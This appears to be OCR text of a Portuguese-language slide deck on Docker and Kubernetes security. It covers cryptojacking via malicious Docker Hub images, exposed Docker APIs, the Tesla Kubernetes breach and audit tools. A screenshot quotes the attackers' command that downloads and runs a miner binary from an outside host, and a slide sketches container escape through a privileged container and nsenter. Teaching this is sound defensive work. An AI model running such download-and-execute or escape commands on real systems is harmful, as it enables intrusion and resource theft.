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Vetores de ataque

Getting into a container
Software from unreliable
sources Removing traces of an attack
Old versions of software * Removal of local logs
A vulnerability in the
application

App 3
Negatively affecting
other services

"l Bins/Libs * Slowing down the
Extending an attack server / eating

» To other hosts (network) resources

» To other containers * Crashing the server
+ To Docker daemon Docker Daemon

* To host




Como hackers estao
explorando conteinerizacao



Cryptojacking invades cloud. How modern
containerization trend is exploited by attackers

17 1imagens Docker disponibilizadas por uma unica conta
durante 10 meses no DocRer Hub, com mais de 5 milhoes de
pulls, podem ter minerado US $96.000 em criptomoedas Monero.



Docker Hub
docker123321
registry was created

Third bunch of malicious
docker123321 images
were added to

Docker Hub

First complaint against

docker123321
on GitHub

First bunch of malicious
docker123321 images
were created on
Docker Hub

Second bunch of malicious
docker123321 images
were added to

Docker Hub

sysdig.com
docker123321 was accused of
poisoning Kubernetes

honeypot

KR MTECH

Fourth bunch of malicious
docker123321 images
were added to

Docker Hub

Docker Hub
finally deleted
docker123321
registry

fortinet.com
docker123321 was
equated to crypto
mining botnet




Anatomia dos ataques
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AP| abuse on Container creation auto.sh deployed Cryptocurrency miner
Docker host as payload on container ran on rogue/created
container




Malicious image in docker hub #1554

CA¥CEEL N fernandodebrando opened this issue 5 days ago - 3 comments

| fernandodebran... commented 5 days ago FHE)

Malicious image found in the account https://hub.docker.com/r/l0s3r in the docker hub.

@ jmwong commented 5 days ago

Thanks for the report @fernandodebrando. Could you elaborate on those images? Have you seen it
being used in an attack?




API do Docker Aberta na
Internet?



Open API Docker Containers

eturned 1,307 results

12-2

Top Countries

1. China 572
2. United States 248
3. Germany 51
4. India 45
5. Ireland 42
6. France 41
7. United Kingdom 36
8. Singapore 32
9. Japan 29

10. Korea, Republic of 27




Open API Docker Containers

Top Cities

1. Sao Paulo

2. Campinas

3. Rio De Janeiro
4. Florianopolis
5. Belo Horizonte




Nuvem da Tesla foi invadida e usada
para minerar criptomoeda

https://blog.redlock.io/cryptojacking-tesla



https://blog.redlock.io/cryptojacking-tesla

Anatomia dos ataques



Tesla é vitima de cryptojacking

Os hackers se infiltraram no console Kubernetes
da Tesla, que nao era protegido por senha. Em um
pod Kubernetes, as credenciais de acesso foram
expostas ao ambiente AWS da Tesla, que continha
um bucket do Amazon S3 (Amazon Simple Storage
Service) que tinha dados confidenciais, como
telemetria.



A Not Secure | https://! [#!/secret/default/aws-s3-credentials?namespace=default

: Name |

kubernetes Q, Search

= Config and storage > Secrets > aws-s3-credentials

default >

Details
Overview

Name: aws-s3-credentials
Workloads Namespace: default

Daemon Sets Creation time: 2017-10-12T22:29

Type: Opaque
Deployments

Jobs

Pods Data

Replica Sets

Replication Controllers Q aws-s3-access-key-id:

Stateful Sets
Q aws-s3-secret-access-key:

Discovery and Load Balancing

Ingresses

Services

_Confia and Storaae




Script de minerac¢ao de criptomoeda em execu¢ao no
pod Kubernetes da Tesla

A Not Secure htips:// [#!/pod/default/services-1himk?namespace=default Yo Ly

kubernetes Q, Search + crREATE | W

= \Workloads > Pods > services-Thimk = LoGs # EDIT I DELETE

Namespace: default

default  ~ Node:
Labels: app: my IP: -
Overview Annotations: Created by: ReplicationController services
Creation time: 2018-01-29T00:02
Workloads

Status: Running
Daemon Sets

Deployments

Jobs Containers
Pods

: my
Replica Sets

Replication Controllers Image: centos

Environment variables: -
Stateful Sets

Commands: sh
Discovery and Load Balancing -G
curl -o /var/tmp/config.json https://xaxaxa.eu/config_1.json;curl -0 /var/tmp/servcesa https://xaxaxa.eu/gcc;chmod 777 /var/tmp/servcesa;cd /var/tmp;./servces:

Ingresses
9 Args: -

Services




Outros ataques

=>» Ataque a montagens de volume
inseguro

=> Ataque de elevacao de privilégio de
container



Container Pmk,e, Elevation

User Docker Dagmon quor CWAMJ Super Container Hos+
docker run mame=regulor v Aor/run/dockersodd/va/run/docker sode Juh/dﬁ_c%
_oeate )
kﬁw run ~peivleged mame=super nserter
aeate ‘»
nsenter vserodd
User Docker Dagmon quor Cowmﬂ Super Container Hos+

www.websequencediagrams.com




Auditoria de ambientes
contenerizados



[WARN] * Sensitive directory /etc mounted in: 444c2c5773ba

[PASS] 5.7 - Do not run ssh within containers

sh: 8085: unknown operand

[WARN] 5.8 - Do not map privileged ports within containers

[WARN] * Privileged Port in use: 80 in 005543cZ1laeb

[PASS] 5.10 - Do not use host network mode on container

[WARN] 5.11 - Limit memory usage for container

[WARN] * Container running without memory restrictions: 57b4f86898d9
[WARN] * Container running without memory restrictions: fa@3ael89d81

[WARN] * Container running trictions: 9
[WARN] * Container running rér C Or
[WARN] * Container running £t - _s

[WARN] * Container running without memory restrictions: 338734244d%4
[WARN] 5.12 - Set container CPU priority appropriately

[WARN] * Container running without CPU restri g5 089 o
[WARN] * Container running without CPU restri B J.rI
[WARN] * Container running without CPU restri Sy 8

[WARN] * Contairer running without CPU restrictions: 005543c2laeb
[WARN] * Container running without CPU restrictions: 444c2¢5773ba
[WARN] * Container running without CPU restrictions: 33873424dd94
[WARN] 5.13 - Mount container's root filesystem as read only

[WARN] * Container running with root FS mounted R/W: S57b4f85898d9

[WARN] * Container running with root IS mounted K/W: fa@3ael89d8l
[WARN) * Container running with root FS mounted R/W: 95292a0e9108
[WARN] * Container running with root S mounted R/W: 005543c21aeb
[WARN] * Container running with root FS mounted R/W: 444c2c5773ba

[WARN] * Contairer running with root FS mounted R/W: 338734244494



1. diogo@visby
< ~ docker run -it --net host --pid host -v /var/run/docker.sock:/var/run/docker.sock \
-v /usr/lib/systemd:/usr/lib/systemd -v /etc:/etc --label security-benchmark \
diogomonica/docloer—security—benchnarld

~ (zsh)
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kube-bench
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kube?hunter

An Open Source Tool for




“yaqua

kube-hunter

Test Results

kube-hunter scanned your cluster and found
16 vulnerabilities in 3 nodes

Test completed on: Mon Aug 06 2018 15:57:01 GMT+0300 (lsrael Daylight Time

172.17.01
Node / Master

6 vulnerabilities
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Demonstracao




Como proteger a API
Docker?



Proteja o soquete do daemon do Docker

TLS precisa ser ativado especificando o
sinalizador tlsverify e apontando o tlscacert do
Docker para um certificado de CA confiavel.

Ha um processo passo-a-passo explicado como
proteger em

https://docs.docker.com/engine/security/https.



https://docs.docker.com/engine/security/https

Referéncias / Links

https://Rubernetes-security.info/
https://www.owasp.org/images/f/f2/0wasp-HelsinkRi-20170613-Docker-Sec
urity.pdf

https://kRubernetes.io/docs/setup/minikube/
https://blog.aquasec.com/Rube-hunter-kRubernetes-penetration-testing
https://github.com/aquasecurity/microscanner
https://github.com/docker/docker-bench-security
https://container-solutions.com/docker-security-admin-controls-2/
https://container-solutions.com/understanding-volumes-docker/
https://medium.com/@FernandoDebrand/sequranca-e-hacking-de-container

s-docRer-a6eaab43238c

https:

//medium. com/@FernandoDebrand/dockRer-hacRers-conteinerizacao-a

9e2b267676a

https:

//qgithub.com/aquasecurity/Rube-bench



https://kubernetes-security.info/
https://www.owasp.org/images/f/f2/Owasp-Helsinki-20170613-Docker-Security.pdf
https://www.owasp.org/images/f/f2/Owasp-Helsinki-20170613-Docker-Security.pdf
https://kubernetes.io/docs/setup/minikube/
https://blog.aquasec.com/kube-hunter-kubernetes-penetration-testing
https://github.com/aquasecurity/microscanner
https://github.com/docker/docker-bench-security
https://container-solutions.com/docker-security-admin-controls-2/
https://container-solutions.com/understanding-volumes-docker/
https://medium.com/@FernandoDebrand/seguranca-e-hacking-de-containers-docker-a6eaab43238c
https://medium.com/@FernandoDebrand/seguranca-e-hacking-de-containers-docker-a6eaab43238c
https://medium.com/@FernandoDebrand/docker-hackers-conteinerizacao-a9e2b267676a
https://medium.com/@FernandoDebrand/docker-hackers-conteinerizacao-a9e2b267676a
https://github.com/aquasecurity/kube-bench

OBRIGADO!

Perguntas?

fernando.poa.br

speakerdeck.com/fernandodebrando

:VENHA FAZER PARTE

I DO NOSSO TIME
|



http://fernando.poa.br
https://speakerdeck.com/fernandodebrando

